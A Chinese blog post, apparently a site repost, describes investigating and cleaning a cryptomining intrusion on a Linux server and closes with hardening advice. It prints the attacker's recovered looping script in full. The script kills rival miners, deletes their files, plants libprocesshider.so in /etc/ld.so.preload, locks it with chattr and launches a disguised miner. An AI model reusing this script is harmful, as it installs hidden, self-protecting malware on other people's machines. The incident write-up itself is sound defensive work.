系統城裝機大師 - 固鎮縣祥瑞電腦科技銷售部宣傳站!

    當前位置:首頁 > server > anz > 詳細頁面

    系統城分享服務器被入侵的處理過程教程圖解

    時間:2022-09-11來源:www.jasafloorhardener.com作者:電腦系統城

    目錄
    • 一、服務器入侵現象
    • 二、服務器排查和處理
      • 2.1、服務器被入侵的可能原因
      • 2.2、排查和處理步驟
    • 三、本次入侵需要帶來啟示的點
    • 四、本次服務器被入侵的一些啟示

    下文中的,給文件和目錄加鎖,是指給文件和目錄增加了一些屬性,只讀等。 chattr +ia

    一、服務器入侵現象

    近期有一個朋友的服務器(自己做了網站)好像遭遇了入侵,具體現象是: 服務器 CPU 資源長期 100%,負載較高。 服務器上面的服務不能正常提供服務。

    朋友處理了一會沒有解決,我開始想說我不是搞安全的,我怎么會,但朋友開出了天價,一頓海底撈,我在生活和現實面前低頭了。 開始上手看看了。

    二、服務器排查和處理

    2.1、服務器被入侵的可能原因

    • 服務器 ssh 密碼 設置得很簡單。
    • 騰訊云安全組范圍放得很大。
    • 使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應該不是這個入侵入口)。

    2.2、排查和處理步驟

    ps -ef / top 找出占用進程最大的服務

    問題現象

    ps/top 命令 已經被替換了。

    查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure。

    問題現象

    [root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
    Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
    Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
    Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
    Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
    Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

    lighthouse 騰訊云輕量服務器

    我們在這里就可以看到,有一些境外IP 34.215.138.2 成功登錄了,這些 IP不是我們的正常登錄。 在 /var/log/secure 日志里,我看到了 IP 34.215.138.2 嘗試登錄不到500次 就已經破解成功了。

    處理措施

    這里我們立馬采取了第一個措施,

    • 在騰訊云安全組限制了 SSH 的登錄IP, 之前的安全組 SSH 是放行所有IP。
    • 將 SSH ROOT 密碼修改。
    • /root/.ssh/authorized_keys 備份,并清空。
    1
    2
    [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
    cp: cannot create regular file /root/.ssh/authorized_keys.bak': Permission denied

    這時我們就遇到了權限的問題,這個晚點展開講,因為我們已經限制了源IP, 所以這個我們可以晚點來處理。

    3.查看最近新增的一些用戶

    問題現象

    1 cat /etc/passwd

    處理措施

    鎖定用戶

    1 [root@VM-12-12-centos ~]# usermod  -L  sys1

    4.我這里不計劃去找進程(已經在新建一臺版本一致的系統, 來拷貝 top 和 ps 命令,需要一小會,我們趁這個時間,先看看其他),因為之前朋友重啟過服務器,發現服務器啟動過一會才會負載較高。我認為入侵者應該放了一些定時任務和啟動腳本里面。

    問題現象

    定時任務

    crond 讀取配置文件會從以下幾個路徑讀?。?/p>

    • /var/spool/cron/ , 由crontab -e 進行寫入,配置文件無需指定用戶
    • /etc/crontab ,只能root 進行編輯,配置文件需指定用戶
    • /etc/cron.d/ ,在此文件夾下創建定時任務文件,配置文件需指定用戶
    • /etc/cron.*

    /var/spool/cron/ 未找到(后面會說到這里有障眼法)

    /etc/crontab 未找到(后面會說到這里有障眼法)

    但是我在 /var/log/cron 一直看到有任務執行。每間隔5分鐘。

    Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
    Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)


    Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )

    Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )

    處理措施

    這里我們先做的操作就是,先把 /usr/lib/mysql/mysql 和 /sbin/httpss 給刪除。刪除的時候還是提示沒有權限。我們知道這些文件應該是加瑣了,所以我開始解鎖,我們發現 chattr 也被替換和鎖住了。 所以不能操作下去了。

    開機啟動腳本

    /etc/rc.local , 我們也發現了一個腳本。

    [root@VM-12-12-centos ~]# cat /etc/rc.local 
    #!/bin/bash
    # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
    #
    # It is highly advisable to create own systemd services or udev rules
    # to run scripts during boot instead of using this file.
    #
    # In contrast to previous versions due to parallel execution during boot
    # this script will NOT be run after all other services.
    #
    # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
    # that this script will be executed during boot.

    /usr/bin/0f4f80f9ab start

     

    但是這個文件好像不存在的,我們就把這個給注釋了。

    5.還原更改了 top、ps、chattr、lsattr.

    • 首先我們從相同版本的機器拷貝了 chattr、lsattr, 我們得先操作這個, 因為我們的 top 和 ps 都被鎖住了。
    • 我將文件上傳至 /tmp 目錄,然后增加可執行權限,然后先給 /usr/bin/chattr 解除鎖定。
    1 /tmp/chattr -ai /usr/bin/chattr
    • 執行完之后,發現還是不能替換 /usr/bin/chattr。 最后耗費了一段時間才反應到,入侵者可能不僅僅加鎖了文件還加鎖了 /usr/bin/。
    • 解鎖目錄
    1 /tmp/chattr -ai /usr/bin/
    • 這下才能把 /usr/bin/chattr 給替換掉。
    • 接下來參考這些,我們把 top 和 ps 、lsattr 給還原了。

    部分截圖

    三、本次入侵需要帶來啟示的點

    ps 、top 、chattr 、lsattr

    在這些命令被替換了,并且我們想還原又還原不了的場景,我們可以拷貝同版本的機器相同的命令放在其它目錄,用這些命令來解除入侵者將它已經替換并鎖定了文件。 注意有些入侵者不僅會在文件層面加鎖,還會在當前的文件的目錄這一層加鎖。我之前在這個上面困惑了一段時間。

    文件內容隱藏

    上文中,我執行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。發現文件沒有內容。

    其實不知道使用了什么特殊字符還是什么隱藏了, 其實是存在定時任務的。

    示例:

    這個配置是如何導致 cat/more 看不了的, 今天再次看了下,這個文件可能是被當成了數據文件,因為我把這個文件 file 查看了之后,文件屬性是data. 然后文件包含的特殊字符。導致隱藏了,具體的有知道的大佬可以告知下。

    其中一個腳本。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
    #!/bin/sh
    while test 1 = 1
    do
    sleep 30
    pkill -f main
    killall main
    killall sprshduerjsaia
    pkill -f sprshduerjsaia
    killall dr64
    pkill -f dr64
    killall .report_system
    pkill -f .report_system
    killall sshc
    pkill -f sshc
    pkill -f memory
    killall memory
    killall warmup
    killall koko
    killall kthreaddk
    killall systemc
    killall cront
    killall xm64_linux
    killall /var/tmp/j/./intelshell
    pkill -f dos32
    pkill -f dos64
    pkill -f .name
    pkill -f /usr/sbin/dbus
    pkill -f systemd-boot-check-no-failures
    killall .report_system
    pkill -f .report_system
    pkill -f keep-alive
    pkill -f linu
    pkill -f zapppp
    killall [scan]
    killall [ext4]
    pkill -f xm64_linux
    pkill -f ddrirc
    killall ./-bash
    pkill -f ./-bash
    killall kworkers
    killall dbus
    pkill -f biden1
    pkill -f cpuminer-sse2
    killall work64
    pkill -f work64
    killall work32
    pkill -f work32
    killall aarch12
    pkill -f aarch12
    killall bash1
    pkill -f bash1
    killall intelshell
    pkill -f intelshell
    killall heaven
    pkill -f heaven
    killall .syst3md
    pkill -f .syst3md
    pkill -f apachelogs
    killall .meinkampf
    pkill -f .meinkampf
    killall xri
    pkill -f xri
    killall koko
    pkill -f koko
    killall work32-deamon
    pkill -f work32-deamon
    killall work64 -deamon
    pkill -f work64 -deamon
    killall secure.sh
    pkill -f secure.sh
    kkillall auth.sh
    pkill -f auth.sh
    killall autoupdate
    pkill -f kworkers
    pkill -f autoupdate
    killall ld-linux
    pkill -f ld-linux
    pkill -9 Donald
    killall -9 Donald
    pkill -f /usr/local/bin/pnscan
    pkill -f /usr/bin/biden1
    killall /usr/bin/biden1
    killall r
    killall trace
    pkill -f minerd
    killall minerd
    pkill -f xm64
    killall xm64
    pkill -f sysdm
    killall sysdm
    pkill -f syst3md
    killall syst3md
    pkill -f xrig
    killall xrig
    pkill -f busybox
    killall busybox
    pkill -f joseph
    killall joseph
    pkill -f osama
    killall osama
    killall daemon
    pkill -f obama1
    killall obama1
    pkill -f kswapd0
    killall kswapd0
    pkill -f jehgms
    killall jehgms
    pkill -f tsm
    killall tsm
    pkill -f rig
    killall rig
    pkill -f xmr
    killall xmr
    pkill -f playstation
    killall playstation
    pkill -f ld-linux-x86-64
    killall ld-linux-x86-64
    pkill -f ruckusapd
    killall ruckusapd
    pkill -f run64
    killall run64
    pkill -f pwnrig
    killall pwnrig
    pkill -f phpupdate
    killall phpupdate
    pkill -f sysupdate
    killall sysupdate
    pkill -f phpguard
    killall phpguard
    pkill -f firstpress
    killall firstpress
    pkill -f zerocert
    killall zerocert
    pkill -f masscan
    killall masscan
    pkill -f -bash
    pkill -f spreadQlmnop
    killall spreadQlmnop
    killall -bash
    pkill -f cnrig
    killall cnrig
    pkill -f netvhost
    killall netvhost
    pkill -f kthreadds
    killall kthreadds
    pkill -f kthreadd
    killall kthreadd
    pkill -f kdevtmpfsi
    killall kdevtmpfsi
    pkill -f linuxservice
    killall linuxservice
    pkill -f rtmonitor
    killall rtmonitor
    pkill -f dev
    killall dev
    pkill -f xmrig
    killall xmrig
    pkill -f master
    killall master
    killall sysmd
    pkill -f sysmd
    pkill -f sendmail
    killall sendmail
    pkill -f ld-musl-x86_64.
    killall ld-musl-x86_64.
    killall watchdog
    pkill -f watchdog
    pkill -f 32678
    killall 32678
    killall dhpcd
    pkill -f dhpcd
    killall linux_amd64
    pkill -f linux_amd64
    killall xredis
    pkill -f xredis
    killall Linux2.6
    killall .chornyd
    pkill -f .chornyd
    killall Opera
    pkill -f Opera
    killall libertyd
    pkill -f libertyd
    killall rcubind
    pkill -f rcubind
    killall clamscan
    pkill -f clamscan
    killall pnscan
    pkill -f pnscan
    killall zzh
    pkill -f zzh
    killall bioser
    pkill -f bioser
    rm -rf /root/.configrc/
    rm -rf /tmp/.X26-unix/
    rm -rf /tmp/.bash/
    rm -rf /root/.bash/
    rm -rf /root/.cache/
    rm -rf /tmp/.cache/
    rm -rf /dev/shm/.ssh/
    rm -rf /etc/.etcservice/linuxservice
    rm -rf /etc/.vhost/netvhost
    rm -rf /tmp/up.txt
    rm -rf /var/tmp/.update/
    rm -rf /var/tmp/.systemd/
    rm -rf /usr/sbin/.bash./.bash/
    rm -rf /etc/master
    rm -rf /usr/bin/busybox
    rm -rf /bin/sysmd
    rm -rf /tmp/.mx/
    rm -rf /dev/shm/.mx/
    rm -rf /usr/bin/xrig
    rm -rf /etc/32678
    rm -rf /root/c3pool/
    rm -rf /usr/bin/.sshd/
    rm -rf /tmp/div
    systemctl stop c3pool_miner.service
    systemctl stop pwnriglhttps.service
    systemctl stop cryto
    systemctl stop scan
    systemctl stop bot
    systemctl stop myservice.service
    systemctl stop netns.service
    systemctl stop cryptsetup.service
    echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
    lockr +ai /etc/ld.so.preload >/dev/null 2>&1
    chmod 777 /usr/lib/mysql/*
    /usr/lib/mysql/./mysql
    done

    我們可以看到這個腳本其實一直在 更改 /etc/ld.so.preload 的內容。 并且在關閉一些掃描軟件和系統的服務。

    在 Linux 操作系統的動態鏈接庫加載過程中,動態鏈接器會讀取 LD_PRELOAD 環境變量的值和默認配置文件 /etc/ld.so.preload 的文件內容,并將讀取到的動態鏈接庫進行預加載,即使程序不依賴這些動態鏈接庫,LD_PRELOAD 環境變量和 /etc/ld.so.preload 配置文件中指定的動態鏈接庫依然會被裝載,它們的優先級比 LD_LIBRARY_PATH 環境變量所定義的鏈接庫查找路徑的文件優先級要高,所以能夠提前于用戶調用的動態庫載入。

    ——段落引自《警惕利用 Linux 預加載型惡意動態鏈接庫的后門》

    我已經刪除了 /usr/local/lib/libprocesshider.so 文件,之后每次執行命令會有這個報錯。

    我在清空文件 /etc/ld.so.preload 之后,我發現好了一會后,還是出現這個,我再看 /etc/ld.so.preload 文件,里面又寫了 /usr/local/lib/libprocesshider.so ,我懷疑還有定時任務,但是我找了一會定時任務,還是沒有找到。 后面在查看異常進程的時候,我看到了這個進程

    發現這個腳本的就是一直在循環執行上面內容。 將這個進程 kill 后,然后刪除腳本。

    四、本次服務器被入侵的一些啟示

    1. 用好云廠家的安全組。對一些關鍵端口,放行規則盡量最小/
    2. 服務器相關的一些密碼盡量增加復雜性。
    3. 增加對一些關鍵文件的監控. (通過監控軟件監控 md5值)
    • /etc/passwd
    • /etc/shadow
    • /etc/group
    • /root/.bash_history
    • /root/.ssh/authorized_keys
    • /etc/ssh/sshd_config
    • /etc/profile
    • /var/spool/cron/root
    • /etc/crontab
    • /etc/ld.so.preload
    • /etc/rc.local
    • lsof
    • ps
    • netstat
    • top
    • ls
    • pstree
    • last
    • history
    • sudo
    • password
    • chattr
    • lsattr

    4.服務器入侵之后,我們需要怎么處理才是最好的。

    https://cloud.tencent.com/document/product/296/9604

    https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

     

    1.服務器如果有開放SSH 遠程登錄,可以設置限制登錄(安全組、或者服務),只放行自己的IP. 查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

    /root/.ssh/authorized_keys /etc/passwd 這些文件也可以看下。將一些新建的用戶鎖定。

    2.服務器如果可以關閉外網,就關閉外網。 在安全組層面設置下,或者路由或者NAT。

    3.首先看下 ps/top 命令有沒有被篡改, 如果有的話, 從其他正常的機器上拷貝至服務器上。 然后執行查看異常進程。也要查詢下 /etc/ld.so.preload 是否有被篡改。如果有的的話,記得清空里面的內容,然后將對應的文件刪除或者重命名。

    如果使用過程中遇到了文件不可刪,不可改的問題,需要使用 chattr -ia 文件名 如果 chattr 也被串改,那就需要從別的機器拷貝。然后復原。

    4.如果上述沒有找到,可以通過 netstat 間接查看異常的連接從而查詢異常進程。

    5.檢查開機啟動 和 crontab 相關的內容 。

    6.檢查異常進程。

    以上就是這次入侵的處理過程和得到的一些小啟示,后續有了解新的會繼續補充。

    分享到:

    相關信息

    系統教程欄目

    欄目熱門教程

    人氣教程排行

    站長推薦

    熱門系統下載

    久久大香久久久尹人尹人